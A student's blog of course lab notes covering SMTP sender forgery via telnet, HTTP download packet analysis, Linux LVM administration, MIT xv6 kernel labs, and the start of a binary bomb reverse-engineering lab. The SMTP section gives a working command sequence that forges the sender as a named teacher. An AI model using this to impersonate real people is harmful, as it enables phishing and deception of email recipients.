课上老师布置的一些实验的记录.

实验合集

计算机网络

smtp 发送伪造邮件

计网老师布置的一个小任务 : 伪装ligang老师给他发个邮件.

通过telnet与smtp服务器进行命令行交互, 手工编写邮件内容, 就可以设置虚假的发件人信息.

以下演示在Windows10 cmd中.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
> telnet
> o smtp.qq.com 587
220 smtp.qq.com Esmtp QQ Mail Server
> helo smtp
250 smtp.qq.com
> starttls
220 Ready to start TLS
> auth login
334 VXNlcm5hbWU6
> MTM0ODY1MTU4MEBxcS5jb20= # qq邮箱的base64编码
334 UGFzc3dvcmQ6
> *************** # qq邮箱授权码的base64编码
235 Authentication successful
> mail from:<1348651580@qq.com>
250 Ok
> rcpt to:<3018******@tju.edu.cn>
250 Ok
> data
354 End data with <CR><LF>.<CR><LF>
> from:ligang@tju.edu.cn
> to:<3018******@tju.edu.cn>
> subject:i want to play a game
>
> we will we will rockyou.
> .
250 Ok: queued as

按照上面的输入成功后, 会有如下的效果.

可以发现, 发件人成功的显示成了ligang.

不过细心的你(口区)应该已经发现了, 最后竟然显示了我真实的邮箱 ! ! !

要想去掉这个代发的字段也有办法, 那就是需要搭建自己的smtp服务器.( 正在尝试中 … )

不过这种欺骗手段似乎只要查看了邮件头就没有任何效果了, 只能拿去吓唬吓唬其它专业的同学们, 哈哈哈.

http 下的文件下载分析

  • 实验目的 :
    • 抓包分析 http 下载文件的细节
    • 思考迅雷下载实现加速, 断点续传等功能的原理

抓包分析

为了便于控制和能省流量, 我用 Apache 在本地(Windows)启动一个web服务器, 并将一个约 74MB 的文件放置于网站根目录下供我模拟下载.

然后使用wireshark捕获Npcap Loopback Adapter的数据包. 很快我就找到了下载文件的http.GET请求包

但是当我追踪这个http流的时候, 发现竟然只有一个http数据包.

于是我尝试追踪了下其他的tcp数据包, 根据数据包的目的端口号(可以根据刚才的Get请求得到)和数据包的大小(下载文件的响应包应该会较大). 最终追踪到了正确的tcp流.

第一行的状态行HTTP/1.1 200 OK, 可以判断出数据应该也是使用http协议传输到客户端, 但是wireshark为啥不能追踪 http流 还不是很清楚.

RESPONSE 包的 HEAD 中, 有 Content-Length: 76559956 这么一项. 因为 76559956 / (1000 * 1000) = 76.5, 而我下载的文件大小是 74MB , 也就是这个参数的单位是 byte.

然而在

(未完待续)

操作系统

linux 文件管理系统实验记录

  • 环境 : Ubuntu 16.04 (VMware Workstation 15 pro)
  • 实验目标 : 使用命令行管理文件系统

分配虚拟硬盘

虚拟机关闭时, 在VMware的编辑虚拟机设置里添加两个新的硬盘, 各10G.

完成后可以打开虚拟机确认:

1
2
3
4
5
6
7
8
9
10
11
12
13
yjn@yjn-virtual-machine:~$ sudo fdisk -l


Disk /dev/sdb: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/sdc: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

创建和扩大文件系统和相关逻辑卷管理

使用fdisk将sdb分出分区
  • sdb1:主分区, 4G
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    yjn@yjn-virtual-machine:/dev$ sudo fdisk /dev/sdb

    Welcome to fdisk (util-linux 2.27.1).
    Changes will remain in memory only, until you decide to write them.
    Be careful before using the write command.

    Device does not contain a recognized partition table.
    Created a new DOS disklabel with disk identifier 0x7ae8300a.

    命令(输入 m 获取帮助): n
    Partition type
    p primary (0 primary, 0 extended, 4 free)
    e extended (container for logical partitions)
    Select (default p): p
    分区号 (1-4, default 1):
    First sector (2048-20971519, default 2048):
    Last sector, +sectors or +size{K,M,G,T,P} (2048-20971519, default 20971519): +4G

    Created a new partition 1 of type 'Linux' and of size 4 GiB.
  • sdb2: 扩展分区, 6G.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    命令(输入 m 获取帮助): n
    Partition type
    p primary (1 primary, 0 extended, 3 free)
    e extended (container for logical partitions)
    Select (default p): e
    分区号 (2-4, default 2):
    First sector (8390656-20971519, default 8390656):
    Last sector, +sectors or +size{K,M,G,T,P} (8390656-20971519, default 20971519):

    Created a new partition 2 of type 'Extended' and of size 6 GiB.
  • sdb5, sdb6逻辑分区, 各3G
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    命令(输入 m 获取帮助): n
    All space for primary partitions is in use.
    Adding logical partition 5
    First sector (8392704-20971519, default 8392704):
    Last sector, +sectors or +size{K,M,G,T,P} (8392704-20971519, default 20971519): +3G

    Created a new partition 5 of type 'Linux' and of size 3 GiB.


    命令(输入 m 获取帮助): n
    All space for primary partitions is in use.
    Adding logical partition 6
    First sector (14686208-20971519, default 14686208):
    Last sector, +sectors or +size{K,M,G,T,P} (14686208-20971519, default 20971519): +3G

    Created a new partition 6 of type 'Linux' and of size 3 GiB.

    命令(输入 m 获取帮助): w

    The partition table has been altered.
    Calling ioctl() to re-read partition table.
    Syncing disks.
将sdb6 和 sdc 初始化为物理卷(PV)

这里有个小插曲, 我的机器中 pvcreate 工具没有安装.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
yjn@yjn-virtual-machine:/dev$ sudo pvcreate /dev/sdb6
sudo: pvcreate:找不到命令
# 安装 lvm2 即可
yjn@yjn-virtual-machine:/dev$ sudo apt-get install lvm2

yjn@yjn-virtual-machine:/dev$ sudo pvcreate /dev/sdb6
Physical volume "/dev/sdb6" successfully created.
yjn@yjn-virtual-machine:/dev$ sudo pvcreate /dev/sdc
Physical volume "/dev/sdc" successfully createdyjn

@yjn-virtual-machine:/dev$ sudo pvs
PV VG Fmt Attr PSize PFree
/dev/sdb6 lvm2 --- <3.00g <3.00g
/dev/sdc lvm2 --- 10.00g 10.00g
将 sdb6 和 sdc 加入卷组(VG) vg00 中
1
2
3
4
5
6
7
8
9
10
11
12
yjn@yjn-virtual-machine:/dev$ sudo vgcreate vg00 /dev/sdb6
Volume group "vg00" successfully created

yjn@yjn-virtual-machine:/dev$ sudo vgex vg00
vgexport vgextend

yjn@yjn-virtual-machine:/dev$ sudo vgextend vg00 /dev/sdc
Volume group "vg00" successfully extended

yjn@yjn-virtual-machine:/dev$ sudo vgs
VG #PV #LV #SN Attr VSize VFree
vg00 2 0 0 wz--n- 12.99g 12.99g
在vg00 中创建逻辑卷(LV)lv00, 初始大小为 10G
1
2
3
4
5
6
7
8
9
10
yjn@yjn-virtual-machine:/dev$ sudo vgs
VG #PV #LV #SN Attr VSize VFree
vg00 2 0 0 wz--n- 12.99g 12.99g

yjn@yjn-virtual-machine:/dev$ sudo lvcreate -L 10G -n lv00 /dev/vg00
Logical volume "lv00" created.

yjn@yjn-virtual-machine:/dev$ sudo lvs
LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert
lv00 vg00 -wi-a----- 10.00g
在lv00 中创建文件系统并装载
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
yjn@yjn-virtual-machine:/dev$ sudo mkfs.ext4 /dev/vg00/lv00
mke2fs 1.42.13 (17-May-2015)
Creating filesystem with 2621440 4k blocks and 655360 inodes
Filesystem UUID: 0cb50d90-490e-4413-b702-1187b48d10fc
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: 完成
正在写入inode表: 完成
Creating journal (32768 blocks): 完成
Writing superblocks and filesystem accounting information: 完成

yjn@yjn-virtual-machine:~/OS$ sudo mkdir data

yjn@yjn-virtual-machine:~/OS$ sudo mount /dev/vg00/lv00 data

yjn@yjn-virtual-machine:~/OS/data$ ls
lost+found

我将文件系统挂在了 OS/data/ 这个文件夹中.

在文件系统中创建一个 8G 的大文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
yjn@yjn-virtual-machine:~/OS/data$ sudo dd if=/dev/zero of=/home/yjn/OS/data/bigfile1 bs=1M count=8192
记录了8192+0 的读入
记录了8192+0 的写出
8589934592 bytes (8.6 GB, 8.0 GiB) copied, 12.1378 s, 708 MB/s

yjn@yjn-virtual-machine:~/OS/data$ ls -lh
总用量 8.1G
-rw-r--r-- 1 root root 8.0G 10月 3 18:29 bigfile1
drwx------ 2 root root 16K 10月 3 18:24 lost+found

yjn@yjn-virtual-machine:~/OS/data$ df -h
文件系统 容量 已用 可用 已用% 挂载点
udev 1.5G 0 1.5G 0% /dev
tmpfs 300M 8.9M 291M 3% /run
/dev/sda1 17G 4.6G 12G 30% /
tmpfs 1.5G 132K 1.5G 1% /dev/shm
tmpfs 5.0M 4.0K 5.0M 1% /run/lock
tmpfs 1.5G 0 1.5G 0% /sys/fs/cgroup
tmpfs 300M 40K 300M 1% /run/user/1000
/dev/mapper/vg00-lv00 9.8G 8.1G 1.2G 88% /home/yjn/OS/data
扩大lv(逻辑卷)和fs(文件系统)

假如现在又要一个大文件bigfile2, 大小为3G, 文件系统不够大了, 需要扩大lv 和 fs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
yjn@yjn-virtual-machine:~/OS/data$ sudo lvextend -L 12G /dev/vg00/lv00
Size of logical volume vg00/lv00 changed from 10.00 GiB (2560 extents) to 12.00 GiB (3072 extents).
Logical volume vg00/lv00 successfully resized.

yjn@yjn-virtual-machine:~/OS/data$ sudo resize2fs /dev/vg00/lv00
resize2fs 1.42.13 (17-May-2015)
Filesystem at /dev/vg00/lv00 is mounted on /home/yjn/OS/data; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 1
The filesystem on /dev/vg00/lv00 is now 3145728 (4k) blocks long.

yjn@yjn-virtual-machine:~/OS/data$ df -h
文件系统 容量 已用 可用 已用% 挂载点
udev 1.5G 0 1.5G 0% /dev
tmpfs 300M 8.9M 291M 3% /run
/dev/sda1 17G 4.6G 12G 30% /
tmpfs 1.5G 132K 1.5G 1% /dev/shm
tmpfs 5.0M 4.0K 5.0M 1% /run/lock
tmpfs 1.5G 0 1.5G 0% /sys/fs/cgroup
tmpfs 300M 40K 300M 1% /run/user/1000
/dev/mapper/vg00-lv00 12G 8.1G 3.1G 73% /home/yjn/OS/data

yjn@yjn-virtual-machine:~/OS/data$ sudo dd if=/dev/zero of=bigfile2 bs=1M count=3096
记录了3096+0 的读入
记录了3096+0 的写出
3246391296 bytes (3.2 GB, 3.0 GiB) copied, 1.92041 s, 1.7 GB/s

yjn@yjn-virtual-machine:~/OS/data$ ls -lh
总用量 12G
-rw-r--r-- 1 root root 8.0G 10月 3 18:29 bigfile1
-rw-r--r-- 1 root root 3.1G 10月 3 18:34 bigfile2
drwx------ 2 root root 16K 10月 3 18:24 lost+found
扩大pv(物理卷)

假如又要在放一个文件bigfile3, 大小为3G, 那么, pv中的剩余空间也不够了. 需要先扩pv, 再扩lv 和 fs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
yjn@yjn-virtual-machine:~/OS/data$ sudo pvcreate /dev/sdb5
Physical volume "/dev/sdb5" successfully created.

yjn@yjn-virtual-machine:~/OS/data$ sudo vgextend vg00 /dev/sdb5
Volume group "vg00" successfully extended

yjn@yjn-virtual-machine:~/OS/data$ sudo vgs
VG #PV #LV #SN Attr VSize VFree
vg00 3 1 0 wz--n- <15.99g <3.99g

yjn@yjn-virtual-machine:~/OS/data$ sudo lvextend -L 15.5G /dev/vg00/lv00
Size of logical volume vg00/lv00 changed from 12.00 GiB (3072 extents) to 15.50 GiB (3968 extents).
Logical volume vg00/lv00 successfully resized.

yjn@yjn-virtual-machine:~/OS/data$ sudo resize2fs /dev/vg00/lv00
resize2fs 1.42.13 (17-May-2015)
Filesystem at /dev/vg00/lv00 is mounted on /home/yjn/OS/data; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 1
The filesystem on /dev/vg00/lv00 is now 4063232 (4k) blocks long.

yjn@yjn-virtual-machine:~/OS/data$ df -h
文件系统 容量 已用 可用 已用% 挂载点
udev 1.5G 0 1.5G 0% /dev
tmpfs 300M 8.9M 291M 3% /run
/dev/sda1 17G 4.6G 12G 30% /
tmpfs 1.5G 132K 1.5G 1% /dev/shm
tmpfs 5.0M 4.0K 5.0M 1% /run/lock
tmpfs 1.5G 0 1.5G 0% /sys/fs/cgroup
tmpfs 300M 40K 300M 1% /run/user/1000
/dev/mapper/vg00-lv00 16G 12G 3.4G 77% /home/yjn/OS/data

yjn@yjn-virtual-machine:~/OS/data$ sudo dd if=/dev/zero of=/home/yjn/OS/data/bigfile3 bs=1M count=3096
记录了3096+0 的读入
记录了3096+0 的写出
3246391296 bytes (3.2 GB, 3.0 GiB) copied, 2.03317 s, 1.6 GB/s

yjn@yjn-virtual-machine:~/OS/data$ ls -lh
总用量 15G
-rw-r--r-- 1 root root 8.0G 10月 3 18:29 bigfile1
-rw-r--r-- 1 root root 3.1G 10月 3 18:34 bigfile2
-rw-r--r-- 1 root root 3.1G 10月 3 18:42 bigfile3
drwx------ 2 root root 16K 10月 3 18:24 lost+found

yjn@yjn-virtual-machine:~/OS/data$ df -h ../data/
文件系统 容量 已用 可用 已用% 挂载点
/dev/mapper/vg00-lv00 16G 15G 313M 98% /home/yjn/OS/data
小结

我们使用了由 sdb5(3GB), sdb6(<3GB), sdc(10GB) 组成的卷组 vg00, 大小为 <16GB.

在其中创建了一个大小为15.5GB的逻辑卷lv00, 此逻辑卷中创建了大小为15.5GB大小的文件系统, 并存放了 bigfile1(8G), bigfile2(3G), bigfile3(3G) 共14G的数据的三个大文件.

经测试, 文件系统随时可以扩大.

缩小文件系统和相关的逻辑卷管理

删除文件, 卸载文件系统

删除bigfile2, bigfile3, unmount文件系统, 为缩小文件系统做准备.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
yjn@yjn-virtual-machine:~/OS/data$ sudo rm bigfile2 bigfile3
[sudo] yjn 的密码:

yjn@yjn-virtual-machine:~/OS/data$ ls
bigfile1 lost+found

yjn@yjn-virtual-machine:~/OS/data$ cd

yjn@yjn-virtual-machine:~$ sudo umount /home/yjn/OS/data

yjn@yjn-virtual-machine:~$ sudo e2fsck -f /dev/vg00/lv00
e2fsck 1.42.13 (17-May-2015)
第一步: 检查inode,块,和大小
第二步: 检查目录结构
第3步: 检查目录连接性
Pass 4: Checking reference counts
第5步: 检查簇概要信息
/dev/vg00/lv00: 12/1015808 files (0.0% non-contiguous), 2200073/4063232 blocks
缩小文件系统以及逻辑卷

缩小文件系统时, 我再次遇到了问题 :

1
2
3
yjn@yjn-virtual-machine:~$ sudo resize2fs /dev/vg00/lv00 10G
resize2fs 1.42.13 (17-May-2015)
resize2fs: New size smaller than minimum (2660232)

我也头一次听说原来文件系统是有最小值的.

那么, 根据它的最小值提示, 经过计算应约为10.14G大小.

在使用 resize2fs 工具时可以加上选项 -M, 就会将文件系统直接缩小到最小值.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
yjn@yjn-virtual-machine:~$ sudo resize2fs -M /dev/vg00/lv00
resize2fs 1.42.13 (17-May-2015)
Resizing the filesystem on /dev/vg00/lv00 to 2660232 (4k) blocks.
The filesystem on /dev/vg00/lv00 is now 2660232 (4k) blocks long.

yjn@yjn-virtual-machine:~$ sudo lvreduce -L 11G /dev/vg00/lv00
WARNING: Reducing active logical volume to 11.00 GiB.
THIS MAY DESTROY YOUR DATA (filesystem etc.)
Do you really want to reduce vg00/lv00? [y/n]: y
Size of logical volume vg00/lv00 changed from 15.50 GiB (3968 extents) to 11.00 GiB (2816 extents).
Logical volume vg00/lv00 successfully resized.

yjn@yjn-virtual-machine:~$ sudo mount /dev/vg00/lv00 /home/yjn/OS/data/

yjn@yjn-virtual-machine:~$ df -h /home/yjn/OS/data/
文件系统 容量 已用 可用 已用% 挂载点
/dev/mapper/vg00-lv00 9.9G 8.1G 1.4G 86% /home/yjn/OS/data
yjn@yjn-virtual-machine:~$

bigger files for xv6

MIT 作业要求

关于实验的一些概括性描述

  • 实验目标 : 增加 xv6 文件的最大大小由约 70kB 到约 8.5MB.
  • 实验环境 : Ubuntu 16.04 TLS
  • 大体思路 :
    xv6文件最大大小为 70KB 的原因是其 inode 包含12个 “直接” 指针和一个 “单一间接” 指针.
    而xv6的每个数据块为 512B, 所以间接指针指向了共 512/4 = 128 个二级指针. 这样就总共有 128 + 12 = 140 个指针.
    又因为每个指针都指向了一个512B大小的数据块. 所以就有 140 * 512 = 71680 B = 70KB 大小的文件.
    那么要怎么实现增大最大大小呢?
    只需要修改 fs.c 这个文件中的bmap(), 来实现原来的第十二个指针由直接指针改成一级间接指针, 原来的第十三个指针由一级间接指针改成二级间接指针.
    这样, 指针的总数就是 11 + 128 + 128*128 = 16523 个, 它们指向的数据块的总大小就是 16523 * 512 = 8459776 B = 8.4 MB

安装 “big 工具”

在这次实验中, 需要一个能验证文件大小的方法. 所以这里需要做一些前期工作.

  1. Makefile 中修改CPUS := 2CPUS := 1, 并在QEMUOPTS的前一行加入QEMUEXTRA = -snapshot.

  2. 修改 param.h 中的参数FSSIZE
    #define FSSIZE 20000 // size of file system in blocks

  3. 下载 big.c 至 xv6 目录, 并在 Makefile 文件的 UPROGS 列表的末尾加入_big\.

  4. 在 xv6 目录输入 make qemu 编译并运行 xv6. 输入 big ,若显示140个blocks则表明成功.

分析原fs.c文件中的代码

要想在原xv6的基础修改并实现我们的功能, 必须要先读懂原来的代码.

头一次发现 C语言 的代码是如此晦涩难懂.

这里先附上fs.c中的bmap()的代码以及我的注释.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// bmap() 返回 第 bn 个数据块的位置
static uint
bmap(struct inode *ip, uint bn)
{
// ip 是inode * 实例, 也就是我们将要读取的文件的inode指针

uint addr, *a;
struct buf *bp;
// 这里的 NDIRECT = 12, 也就是直接指针的个数.
if(bn < NDIRECT){
// 如果 bn < NDIRECT, 说明查询直接指针所指向的数据块.
// 因为 是直接指针, 所以指针是被保存在inode中的, 所以可以通过inode *ip直接访问.
if((addr = ip->addrs[bn]) == 0)
// dev 是 inode 中保存的设备的号码, 我估计应该是磁盘(储存设备)的设备代码)
ip->addrs[bn] = addr = balloc(ip->dev);
return addr;
}

bn -= NDIRECT;
// NINDIRECT = BSIZE / sizeof(uint);
// BSIZE = 512;
// 所以 NINDIRECT = 512 / 4 = 128
// 在结合之前的 bn -= NDIRECT, 此时的bn 含义成了一级间接指针的个数
// 只要 bn < NINDIRECT , 即可读取.
if(bn < NINDIRECT){
if((addr = ip->addrs[NDIRECT]) == 0)
// 如果 间接指针是空的, 我们就给它分配一个.
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
// bp 是缓冲变量, 相当于第13个指针的内容.
bp = bread(ip->dev, addr);
// a 是 间接指针所指向的地址的数组.
a = (uint*)bp->data;
if((addr = a[bn]) == 0){
// 根据bmap()函数的意义, 我们只读取a[bn]即可.
a[bn] = addr = balloc(ip->dev);
log_write(bp);
}
brelse(bp);
return addr;
}
// bn >= NINDIRECT, 已经超过最大文件大小了.

panic("bmap: out of range");
}

经过漫长的阅读, 基本确定了这个函数的作用是返回第 bn 个数据块的地址.

其中的两个if分别代表读取直接指针指向的数据块和间接指针指向数据块的地址的两种情况.

如果这两种情况都不满足, 就说明文件过大而执行最后的报错语句.

重写 bmap()函数

其实如果刚才的代码看懂了的话, 下面的工作就是照葫芦画瓢, 很简单.

我也分情况分别贴出代码.

  • 访问直接指针的数据块时.
    1
    2
    3
    4
    5
    if(bn < NDIRECT){  // 在fs.h中将这里修改为 11
    if((addr = ip->addrs[bn]) == 0)
    ip->addrs[bn] = addr = balloc(ip->dev);
    return addr;
    }

这是最简单的情况, 只是将常量修改了.

  • 访问一级指针所指向的数据块时
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

    bn -= NDIRECT;
    if(bn < NINDIRECT){
    // Load indirect block, allocating if necessary.
    if((addr = ip->addrs[NDIRECT]) == 0)
    ip->addrs[NDIRECT] = addr = balloc(ip->dev);
    bp = bread(ip->dev, addr);
    a = (uint*)bp->data;
    if((addr = a[bn]) == 0){
    a[bn] = addr = balloc(ip->dev);
    log_write(bp);
    }
    brelse(bp);
    return addr;
    }

因为需要修改的常量已经在宏定义中改好了, 这段代码完全不需要改动.

  • 访问二级指针指向的数据块时
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27

    bn -= NINDIRECT;
    if(bn < 128*128){
    if((addr = ip->addrs[12]) == 0){
    ip->addrs[12] = addr = balloc(ip->dev);
    }
    bp = bread(ip ->dev, addr); //读出第13个指针的内容.
    a = (uint*)bp->data;

    uint aaddr, *aa;
    struct buf *bbp;

    if((aaddr = a[bn/128]) == 0){
    //先读第一级间接指针.
    a[bn/128] = aaddr = balloc(ip->dev);
    log_write(bp);
    }
    bbp = bread(ip->dev, aaddr);
    aa = (uint*)bbp->data;
    if((aaddr = aa[bn % 128]) == 0){
    aa[bn % 128] = aaddr = balloc(ip->dev);
    log_write(bbp);
    }
    brelse(bbp);
    brelse(bp);
    return aaddr;
    }

这里才是真正需要我们发挥的地方.

首先还是先将128个一级数据块减去 (为了清晰直观, 我没有使用常量而是128) ,

然后判断inode里的第13个指针是否为空, 如果为空就分配一个.

利用 bn / 128 算出 bn 在第几个二级指针中.

再判断这个二级指针是否为空, 如果为空就分配一个.

再利用 bn % 128 算出 bn 再第几个三级指针中,

判断是否为空, 如果为空就为此三级指针分配地址, 最后函数返回的也是此三级指针的值.

除此之外, log_write()函数的作用可能是记录文件的变更, brelse()估计是类似析构函数的释放地址空间的作用.

别忘了在 fs.h 中修改几个常量的值.

1
2
3
4
5
6
~~~
#define NDIRECT 11
~~~
#define MAXFILE (NDIRECT + NINDIRECT + NINDIRECT*NINDIRECT )
~~~
uint addrs[NDIRECT+2]; // Data block addresses

修改好这两个文件后, 重新编译make qemu.

输入big命令, 得到如下结果即为成功.

总的来说算是一次简单的实验了…

完.

xv6 system calls

MIT作业要求

  • 实验目的 : 增加一个新的系统调用函数 date()

显示系统调用

根据提示, 找到 syscall.c 中的 syscall()函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void
syscall(void)
{
int num;
struct proc *curproc = myproc();

num = curproc->tf->eax;
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
// 这里通过 syscall.h 中的宏定义实现由 num 到相应系统调用的映射.
curproc->tf->eax = syscalls[num]();
} else {
cprintf("%d %s: unknown sys call %d\n",
curproc->pid, curproc->name, num);
curproc->tf->eax = -1;
}
}

要想在系统调用时打印相关信息, 也模仿 else 中的语句就可以.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 定义一个char* 数组
char* syscallName[] = {
"null",
"fork",
"exit",
"wait",
"pipe",
"read",
"kill",
"exec",
"fstat",
"chdir",
"dup",
"getpid",
"sbrk",
"sleep",
"uptime",
"open",
"write",
"mknod",
"unlink",
"link",
"mkdir",
"close"
};

if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
// 这里通过 syscall.h 中的宏定义实现由 num 到相应系统调用的映射.
cprintf("%s -> %d\n",syscallName[num],num);
curproc->tf->eax = syscalls[num]();
}

如图应该是成功了, 但我不知道为啥和MIT里的编号不同.

Date system call

下一步就该建立我们的date()函数了.

使用命令找出需要修改的几个地方:

1
2
3
4
5
6
7
8
yjn@yjn-virtual-machine:~/yjn/xv6-public$ grep -n uptime *.[chS]
syscall.c:106:extern int sys_uptime(void);
syscall.c:125: "uptime",
syscall.c:150:[SYS_uptime] sys_uptime,
syscall.h:15:#define SYS_uptime 14
sysproc.c:83:sys_uptime(void)
user.h:25:int uptime(void);
usys.S:31:SYSCALL(uptime)
  • syscall.c

    1
    2
    3
    4
    5
    6
    7
    8
    extern int sys_date();

    // 下面是简略写法:
    char* syscallName[] :
    "date"
    // 下面是简略写法:
    static int (*syscalls[])(void) :
    [SYS_date] sys_date
  • syscall.h

    1
    #define SYS_date   22
  • sysproc.c

    1
    2
    3
    4
    5
    6
    7
    8
    int 
    sys_date(void){
    struct rtcdate *r;
    if(argptr(0, (void*)&r, sizeof(*r) < 0))
    return -1;
    cmostime(r);
    return 0;
    }
  • user.h

    1
    int date(struct rtcdate*);
  • usys.S

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    SYSCALL(date)
    ```
    还有需要一个程序来调用`date()`以验证效果.
    + date.c
    ```c
    #include "types.h"
    #include "user.h"
    #include "date.h"

    int
    main(int argc, char *argv[])
    {
    struct rtcdate r;

    if (date(&r)) {
    printf(2, "date failed\n");
    exit();
    }

    // your code to print the time in any format you like...
    printf(1, "%d/%d/%d-%d:%d:%d",r.year, r.month, r.day, r.hour, r.minute, r.second);
    exit();
    }

最后不要忘了在Makefile里加上 date 这个程序.

效果:

计算机组成原理

bomb(从零开始的汇编世界之旅)

这个实验我 tm 吹爆.

我有预感, 这会是我迈入 reversepwn 的第一个阶梯.

  • 实验简介 : 给你一个bomb程序, 需要你连续输入六个密码才能阻止引爆. 你需要做的就是通过反编译这个程序破译出6个密码.

同时, 题目也给出了main函数的代码, 让玩家可以对整体的框架有个了解.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int main(int argc, char *argv[])
{
char *input;
if (argc == 1) {
infile = stdin;
} else if (argc == 2) {
if (!(infile = fopen(argv[1], "r"))) {
printf("%s: Error: Couldn't open %s\n", argv[0], argv[1]);
exit(8);
}
} else {
printf("Usage: %s [<input_file>]\n", argv[0]);
exit(8);
}
initialize_bomb();
printf("Welcome to my fiendish little bomb. You have 6 phases with\n");
printf("which to blow yourself up. Have a nice day!\n");
input = read_line();
phase_1(input);
phase_defused();
printf("Phase 1 defused. How about the next one?\n");
input = read_line();
phase_2(input);
phase_defused();
printf("That's number 2. Keep going!\n");
input = read_line();
phase_3(input);
phase_defused();
printf("Halfway there!\n");
input = read_line();
phase_4(input);
phase_defused();
printf("So you got that one. Try this one.\n");
input = read_line();
phase_5(input);
phase_defused();
printf("Good work! On to the next...\n");
input = read_line();
phase_6(input);
phase_defused();
return 0;
}

通过main.c我们可以知道所有关于密码正确与否都是在phase函数中完成的.

phase_1

最简单的一关, 有无数种方法可以搞定.

  • IDA
    IDA 静态分析神器的大名早有耳闻, 所以第一时间就想到了使用 IDA.

不出我所料, 反编译后发现就是把我们输入的密码input与代码中的一段字符串常量进行了比较. 非常轻松.

由于IDA不是本次实验的重点, 就不在此重点展开了.

重点是使用 gdb 调试器的方法来获取 password

  • gdb

由于一开始没有找到中意的图形化界面调试器, 我在 YW 大佬 的推荐下使用了pwndbg 这个工具, 确实很强大, 而且和 gdb的使用方法基本相同.

因为密码的判断在phase_2中, 我就先调试这段代码. 密码什么的先随便输一个.

进入后最显眼的还是strings_not_equal这个函数. (因为整个屏幕就这里有人话……)

调用函数后, 汇编代码是如何实现输错密码就爆炸, 输对不爆炸的呢?

调用strings_not_equals后, 其返回值会保存在寄存器 $eax 中.

下面的指令 test 会让两个操作数做与运算, 但是结果并不保存在寄存器或是内存中, 而是发送到 flag寄存器 中的某个标志位(大概记得是第6位, 记不清了).

再下面一行的 je 就会读取该标志位, 如果为零就跳转, 否则不跳转. 可是在这里一旦不跳转而是继续顺序执行, 就会调用 explode_bomb, 程序会不可逆的走向终止.

也就是为了不让炸弹启动, 一定要保证strings_not_equal返回 0 才可以, 这也就是密码的由来.

phase_2

从第二题开始就增加难度了, 经过漫长的尝试, 我终于搞出了密码.

进入phase_2, 首先被调用的函数就是read_six_numbers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
000000000040145c <read_six_numbers>:
40145c: 48 83 ec 18 sub $0x18,%rsp
401460: 48 89 f2 mov %rsi,%rdx
401463: 48 8d 4e 04 lea 0x4(%rsi),%rcx
401467: 48 8d 46 14 lea 0x14(%rsi),%rax
40146b: 48 89 44 24 08 mov %rax,0x8(%rsp)
401470: 48 8d 46 10 lea 0x10(%rsi),%rax
401474: 48 89 04 24 mov %rax,(%rsp)
401478: 4c 8d 4e 0c lea 0xc(%rsi),%r9
40147c: 4c 8d 46 08 lea 0x8(%rsi),%r8
401480: be c3 25 40 00 mov $0x4025c3,%esi
401485: b8 00 00 00 00 mov $0x0,%eax
40148a: e8 61 f7 ff ff callq 400bf0 <__isoc99_sscanf@plt>
40148f: 83 f8 05 cmp $0x5,%eax
401492: 7f 05 jg 401499 <read_six_numbers+0x3d>
401494: e8 a1 ff ff ff callq 40143a <explode_bomb>
401499: 48 83 c4 18 add $0x18,%rsp
40149d: c3 retq

我这里遇到的第一个问题就是搞不懂<__isoc99_sscanf@plt>的作用, 当时十分迷惑为啥进入了phase_2后还要继续输入, 但其实不是这么回事, 这个函数在这里是格式化字符串的作用.

举个例子:

1
2
3
strcpy( dtm, "Saturday March 25 1989" );
sscanf( dtm, "%s %s %d %d", weekday, month, &day, &year )
//=> weekday = Saturday, month = March, day = 25, year = 1989

当我们调用<__isoc99_sscanf@plt>时, 传入的参数为:

